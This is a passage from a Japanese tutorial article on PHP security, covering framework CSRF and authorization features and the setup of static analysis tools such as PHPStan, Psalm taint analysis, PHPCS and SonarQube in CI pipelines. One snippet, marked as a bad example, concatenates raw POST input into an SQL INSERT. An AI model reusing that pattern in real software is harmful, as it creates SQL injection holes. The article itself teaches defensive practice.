data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ src\/Controller\/AppController.php\npublic function initialize(): void\n{\n    parent::initialize();\n    $this-&gt;loadComponent('Security');\n    $this-&gt;loadComponent('Csrf');\n}\n\n\/\/ \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3067\u306e\u30c8\u30fc\u30af\u30f3\u4f7f\u7528\n&lt;?= $this-&gt;Form-&gt;create($user) ?&gt;\n    &lt;!-- CSRF\u30c8\u30fc\u30af\u30f3\u306f\u81ea\u52d5\u7684\u306b\u542b\u307e\u308c\u308b --&gt;\n    &lt;?= $this-&gt;Form-&gt;control('username') ?&gt;\n    &lt;?= $this-&gt;Form-&gt;control('password') ?&gt;\n&lt;?= $this-&gt;Form-&gt;button('Login') ?&gt;\n&lt;?= $this-&gt;Form-&gt;end() ?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-140\">\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u6d3b\u7528\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6700\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u4f7f\u7528<\/strong> \u5e38\u306b\u6700\u65b0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u305f\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3001\u5b9a\u671f\u7684\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u3066\u304f\u3060\u3055\u3044\u3002 <code># Composer\u3067\u306e\u4f9d\u5b58\u95a2\u4fc2\u306e\u66f4\u65b0 composer update<\/code><\/li>\n\n\n\n<li><strong>\u74b0\u5883\u3054\u3068\u306e\u8a2d\u5b9a\u5206\u96e2<\/strong> \u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u7570\u306a\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002 <code>\/\/ Laravel \u306e\u74b0\u5883\u5225\u8a2d\u5b9a\u4f8b if (app()-&gt;environment('production')) { URL::forceScheme('https'); }<\/code><\/li>\n\n\n\n<li><strong>\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u6a5f\u80fd\u3092\u512a\u5148<\/strong> \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u3092\u30d0\u30a4\u30d1\u30b9\u305b\u305a\u3001\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u6a19\u6e96\u6a5f\u80fd\u3092\u5229\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002 <code>\/\/ \u826f\u3044\u4f8b\uff08Laravel\uff09 $user = User::create($request-&gt;validated()); \/\/ \u60aa\u3044\u4f8b\uff08\u72ec\u81ea\u5b9f\u88c5\uff09 $sql = \"INSERT INTO users (name, email) VALUES ('\".$_POST['name'].\"', '\".$_POST['email'].\"')\"; DB::statement($sql);<\/code><\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u306e\u76e3\u67fb<\/strong> \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u3092\u5b9a\u671f\u7684\u306b\u78ba\u8a8d\u3057\u3001\u6700\u65b0\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306b\u5f93\u3063\u3066\u3044\u308b\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n\n\n\n<li><strong>\u8a8d\u8a3c\u30fb\u8a8d\u53ef\u306e\u6a19\u6e96\u6a5f\u80fd\u6d3b\u7528<\/strong> \u8a8d\u8a3c\u3068\u8a8d\u53ef\u306e\u305f\u3081\u306b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u6a19\u6e96\u6a5f\u80fd\u3092\u4f7f\u7528\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u5c02\u9580\u5bb6\u306b\u3088\u3063\u3066\u691c\u8a3c\u3055\u308c\u305f\u5b9f\u88c5\u3092\u6d3b\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002 <code>\/\/ Symfony\u3067\u306e\u6a29\u9650\u30c1\u30a7\u30c3\u30af if (!$this-&gt;security-&gt;isGranted('ROLE_ADMIN')) { throw $this-&gt;createAccessDeniedException('\u3053\u306e\u30da\u30fc\u30b8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u6a29\u9650\u304c\u3042\u308a\u307e\u305b\u3093'); } \/\/ Laravel\u3067\u306e\u6a29\u9650\u30c1\u30a7\u30c3\u30af if (!Auth::user()-&gt;can('update', $post)) { abort(403); }<\/code><\/li>\n<\/ol>\n\n\n\n<p>PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u591a\u304f\u306e\u554f\u984c\u3092\u89e3\u6c7a\u3059\u308b\u512a\u308c\u305f\u30c4\u30fc\u30eb\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u3053\u308c\u3089\u306e\u6a5f\u80fd\u3092\u6b63\u3057\u304f\u7406\u89e3\u3057\u3001\u9069\u5207\u306b\u8a2d\u5b9a\u30fb\u6d3b\u7528\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u719f\u8aad\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u3092\u5e38\u306b\u6700\u65b0\u306e\u72b6\u614b\u306b\u4fdd\u3064\u3088\u3046\u5fc3\u304c\u3051\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-141\">\u8106\u5f31\u6027\u306e\u691c\u51fa\u3068\u5bfe\u5fdc\u65b9\u6cd5<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-142\">\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u3092\u4f7f\u3063\u305f\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3<\/h3>\n\n\n\n<p>\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306f\u3001\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u305b\u305a\u306b\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u89e3\u6790\u3057\u3001\u6f5c\u5728\u7684\u306a\u30d0\u30b0\u3001\u8106\u5f31\u6027\u3001\u304a\u3088\u3073\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u898f\u7d04\u9055\u53cd\u3092\u691c\u51fa\u3059\u308b\u30c4\u30fc\u30eb\u3067\u3059\u3002PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u306b\u304a\u3044\u3066\u3001\u3053\u308c\u3089\u306e\u30c4\u30fc\u30eb\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u3092\u65e9\u671f\u306b\u767a\u898b\u3057\u3001\u4fee\u6b63\u3059\u308b\u305f\u3081\u306b\u4e0d\u53ef\u6b20\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-143\">\u9759\u7684\u89e3\u6790\u306e\u30e1\u30ea\u30c3\u30c8<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u65e9\u671f\u767a\u898b<\/strong>: \u958b\u767a\u30b5\u30a4\u30af\u30eb\u306e\u521d\u671f\u6bb5\u968e\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u3092\u7279\u5b9a\u3067\u304d\u308b<\/li>\n\n\n\n<li><strong>\u5305\u62ec\u7684\u306a\u5206\u6790<\/strong>: \u5b9f\u884c\u3055\u308c\u308b\u3053\u3068\u304c\u5c11\u306a\u3044\u30b3\u30fc\u30c9\u30d1\u30b9\u3082\u542b\u3081\u3066\u5206\u6790\u53ef\u80fd<\/li>\n\n\n\n<li><strong>\u81ea\u52d5\u5316<\/strong>: CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d44\u307f\u8fbc\u3093\u3067\u81ea\u52d5\u7684\u306b\u5b9f\u884c\u3067\u304d\u308b<\/li>\n\n\n\n<li><strong>\u30b3\u30b9\u30c8\u52b9\u7387<\/strong>: \u5b9f\u969b\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4fb5\u5bb3\u304c\u767a\u751f\u3059\u308b\u524d\u306b\u554f\u984c\u3092\u4fee\u6b63\u3067\u304d\u308b<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-144\">\u4e3b\u8981\u306aPHP\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u3068\u305d\u306e\u6d3b\u7528\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-145\">1. PHPStan \u2013 PHP Static Analysis Tool<\/h5>\n\n\n\n<p>PHPStan\u306f\u3001PHP\u30b3\u30fc\u30c9\u306e\u578b\u95a2\u9023\u306e\u554f\u984c\u3084\u305d\u306e\u4ed6\u306e\u6f5c\u5728\u7684\u306a\u30d0\u30b0\u3092\u691c\u51fa\u3059\u308b\u305f\u3081\u306e\u5f37\u529b\u306a\u30c4\u30fc\u30eb\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3068\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Composer\u3067\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev phpstan\/phpstan\n\n# \u57fa\u672c\u7684\u306a\u5b9f\u884c\u65b9\u6cd5\uff08\u30ec\u30d9\u30eb0-9\u3001\u6570\u5b57\u304c\u5927\u304d\u3044\u307b\u3069\u53b3\u683c\uff09\nvendor\/bin\/phpstan analyse src tests --level=7\n<\/pre>\n\n\n\n<p><strong>\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u305f\u5b9f\u884c<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># phpstan.neon \u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\n# \u4ee5\u4e0b\u306e\u3088\u3046\u306b\u8a2d\u5b9a\nparameters:\n    level: 7\n    paths:\n        - src\n        - tests\n    excludePaths:\n        - src\/legacy\/*\n    ignoreErrors:\n        - '#Access to an undefined property#'\n    \n# \u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u3063\u3066\u5b9f\u884c\nvendor\/bin\/phpstan analyse\n<\/pre>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u30eb\u30fc\u30eb\u306e\u8ffd\u52a0<\/strong>:<\/p>\n\n\n\n<p>PHPStan\u306e\u30a8\u30af\u30b9\u30c6\u30f3\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7279\u5316\u306e\u30eb\u30fc\u30eb\u3092\u8ffd\u52a0\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># PHPStan\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30eb\u30fc\u30eb\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev phpstan\/phpstan-strict-rules\n\n# phpstan.neon \u306b\u4ee5\u4e0b\u3092\u8ffd\u52a0\nincludes:\n    - vendor\/phpstan\/phpstan-strict-rules\/rules.neon\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-146\">2. Psalm \u2013 PHP Static Analysis Linting Machine<\/h5>\n\n\n\n<p>Psalms\u306f\u578b\u30c1\u30a7\u30c3\u30af\u3068\u9759\u7684\u89e3\u6790\u3092\u884c\u3046\u30c4\u30fc\u30eb\u3067\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u306e\u691c\u51fa\u306b\u3082\u512a\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3068\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Composer\u3067\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev vimeo\/psalm\n\n# \u521d\u671f\u5316\uff08\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30ebpsalm.xml\u751f\u6210\uff09\nvendor\/bin\/psalm --init\n\n# \u57fa\u672c\u7684\u306a\u5b9f\u884c\nvendor\/bin\/psalm\n<\/pre>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\u306e\u6709\u52b9\u5316<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev psalm\/plugin-security\n\n# \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u6709\u52b9\u5316\nvendor\/bin\/psalm-plugin enable psalm\/plugin-security\n\n# \u30bf\u30a4\u30f3\u30c8\u30e2\u30fc\u30c9\u3067\u30b9\u30ad\u30e3\u30f3\uff08\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u8ffd\u8de1\uff09\nvendor\/bin\/psalm --taint-analysis\n<\/pre>\n\n\n\n<p>Psalm\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\uff08psalm.xml\uff09\u306e\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?xml version=\"1.0\"?&gt;\n&lt;psalm\n    errorLevel=\"3\"\n    resolveFromConfigFile=\"true\"\n    findUnusedVariablesAndParams=\"true\"\n    xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\n    xmlns=\"https:\/\/getpsalm.org\/schema\/config\"\n    xsi:schemaLocation=\"https:\/\/getpsalm.org\/schema\/config vendor\/vimeo\/psalm\/config.xsd\"\n&gt;\n    &lt;projectFiles&gt;\n        &lt;directory name=\"src\" \/&gt;\n        &lt;ignoreFiles&gt;\n            &lt;directory name=\"vendor\" \/&gt;\n        &lt;\/ignoreFiles&gt;\n    &lt;\/projectFiles&gt;\n    &lt;plugins&gt;\n        &lt;pluginClass class=\"Psalm\\SecurityPlugin\\Plugin\"\/&gt;\n    &lt;\/plugins&gt;\n&lt;\/psalm&gt;\n<\/pre>\n\n\n\n<p><strong>\u30bf\u30a4\u30f3\u30c8\u89e3\u6790\u304c\u691c\u51fa\u3059\u308b\u4e3b\u306a\u8106\u5f31\u6027<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/li>\n\n\n\n<li>XSS\uff08\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff09<\/li>\n\n\n\n<li>\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/li>\n\n\n\n<li>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb<\/li>\n\n\n\n<li>\u305d\u306e\u4ed6\u306e\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-147\">3. PHP_CodeSniffer (PHPCS) \u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ca\u30a4\u30d5\u30a1\u30fc<\/h5>\n\n\n\n<p>PHPCS\u306f\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6a19\u6e96\u306b\u5bfe\u3059\u308b\u30b3\u30fc\u30c9\u306e\u691c\u8a3c\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u304c\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u95a2\u9023\u306e\u30eb\u30fc\u30eb\u30bb\u30c3\u30c8\u3082\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3068\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev squizlabs\/php_codesniffer\n\n# \u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5\nvendor\/bin\/phpcs --standard=PSR12 src\/\n\n# \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ca\u30a4\u30d5\u30a1\u30fc\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer require --dev pheromone\/phpcs-security-audit\n\n# \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\u306e\u5b9f\u884c\nvendor\/bin\/phpcs --standard=Security --extensions=php src\/\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-148\">4. SonarQube<\/h5>\n\n\n\n<p>SonarQube\u306f\u591a\u8a00\u8a9e\u5bfe\u5fdc\u306e\u9759\u7684\u89e3\u6790\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u3001PHP\u5411\u3051\u306e\u5305\u62ec\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30eb\u30fc\u30eb\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3068\u4f7f\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>SonarQube\u30b5\u30fc\u30d0\u30fc\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\uff08Docker\u4f7f\u7528\u4f8b\uff09:<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">docker run -d --name sonarqube -p 9000:9000 sonarqube:latest\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li>SonarScanner\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb:<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30eb\u30fc\u30c8\u306bsonar-project.properties\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\nsonar.projectKey=my_project\nsonar.projectName=My Project\nsonar.projectVersion=1.0\nsonar.sources=src\nsonar.php.coverage.reportPaths=coverage.xml\nsonar.php.tests.reportPath=tests-report.xml\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li>\u30b9\u30ad\u30e3\u30f3\u306e\u5b9f\u884c:<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sonar-scanner\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-149\">CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u3078\u306e\u7d71\u5408<\/h4>\n\n\n\n<p>\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306fCI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u30b3\u30fc\u30c9\u304c\u30ea\u30dd\u30b8\u30c8\u30ea\u306b\u30d7\u30c3\u30b7\u30e5\u3055\u308c\u308b\u305f\u3073\u306b\u81ea\u52d5\u7684\u306b\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>GitHub Actions\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">name: PHP Static Analysis\n\non:\n  push:\n    branches: [ main ]\n  pull_request:\n    branches: [ main ]\n\njobs:\n  static-analysis:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions\/checkout@v3\n    \n    - name: Setup PHP\n      uses: shivammathur\/setup-php@v2\n      with:\n        php-version: '8.1'\n        tools: composer:v2\n        \n    - name: Install Dependencies\n      run: composer install --prefer-dist --no-progress\n      \n    - name: PHPStan\n      run: vendor\/bin\/phpstan analyse src tests --level=7\n      \n    - name: Psalm\n      run: vendor\/bin\/psalm --output-format=github\n      \n    - name: Psalm Security Scan\n      run: vendor\/bin\/psalm --taint-analysis\n<\/pre>\n\n\n\n<p><strong>GitLab CI\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">stages:\n  - static-analysis\n\nstatic-analysis:\n  stage: static-analysis\n  image: php:8.1\n  before_script:\n    - apt-get update &amp;&amp; apt-get install -y git unzip\n    - curl -sS https:\/\/getcomposer.org\/installer | php -- --install-dir=\/usr\/local\/bin --filename=composer\n    - composer install --no-progress --no-interaction\n  script:\n    - vendor\/bin\/phpstan analyse src tests --level=7\n    - vendor\/bin\/psalm\n    - vendor\/bin\/psalm --taint-analysis\n  artifacts:\n    paths:\n      - psalm-report.json\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-150\">\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u52b9\u679c\u7684\u306a\u4f7f\u7528\u6cd5<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u9069\u5207\u306a\u30ec\u30d9\u30eb\u306e\u8a2d\u5b9a<\/strong>\uff1a \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u72b6\u614b\u306b\u5fdc\u3058\u3066\u3001\u9069\u5207\u306a\u53b3\u683c\u3055\u306e\u30ec\u30d9\u30eb\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002\u65e2\u5b58\u306e\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u4f4e\u3081\u306e\u30ec\u30d9\u30eb\u304b\u3089\u59cb\u3081\u3001\u5f90\u3005\u306b\u5f15\u304d\u4e0a\u3052\u3066\u3044\u304f\u3068\u826f\u3044\u3067\u3057\u3087\u3046\u3002<\/li>\n\n\n\n<li><strong>\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u306e\u4f5c\u6210<\/strong>\uff1a \u65e2\u5b58\u306e\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u3001\u73fe\u5728\u306e\u8b66\u544a\u3092\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u3068\u3057\u3066\u8a2d\u5b9a\u3057\u3001\u65b0\u3057\u3044\u30b3\u30fc\u30c9\u306b\u306f\u9ad8\u3044\u57fa\u6e96\u3092\u9069\u7528\u3067\u304d\u307e\u3059\u3002 <code># Psalm\u3067\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u3092\u751f\u6210 vendor\/bin\/psalm --set-baseline=psalm-baseline.xml<\/code><\/li>\n\n\n\n<li><strong>\u8aa4\u691c\u51fa\u306e\u9069\u5207\u306a\u51e6\u7406<\/strong>\uff1a \u8aa4\u691c\u51fa\u306f\u907f\u3051\u3089\u308c\u307e\u305b\u3093\u304c\u3001\u554f\u984c\u3092\u7121\u8996\u3059\u308b\u3088\u308a\u3082\u3001\u306a\u305c\u305d\u306e\u8b66\u544a\u304c\u767a\u751f\u3059\u308b\u306e\u304b\u3092\u7406\u89e3\u3057\u3001\u53ef\u80fd\u3067\u3042\u308c\u3070\u30b3\u30fc\u30c9\u3092\u6539\u5584\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>\u6bb5\u968e\u7684\u306a\u5c0e\u5165<\/strong>\uff1a \u5927\u898f\u6a21\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u3001\u3059\u3079\u3066\u306e\u554f\u984c\u3092\u4e00\u5ea6\u306b\u89e3\u6c7a\u3059\u308b\u306e\u306f\u56f0\u96e3\u3067\u3059\u3002\u512a\u5148\u9806\u4f4d\u3092\u4ed8\u3051\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u95a2\u9023\u306e\u554f\u984c\u304b\u3089\u5bfe\u51e6\u3057\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-151\">\u4e3b\u8981\u306a\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u6bd4\u8f03<\/h4>\n\n\n<div id=\"id-9c8ac1dc-ce8e-41dc-9798-6e81968c905d\">\n<figure class=\"wp-block-table\"><table 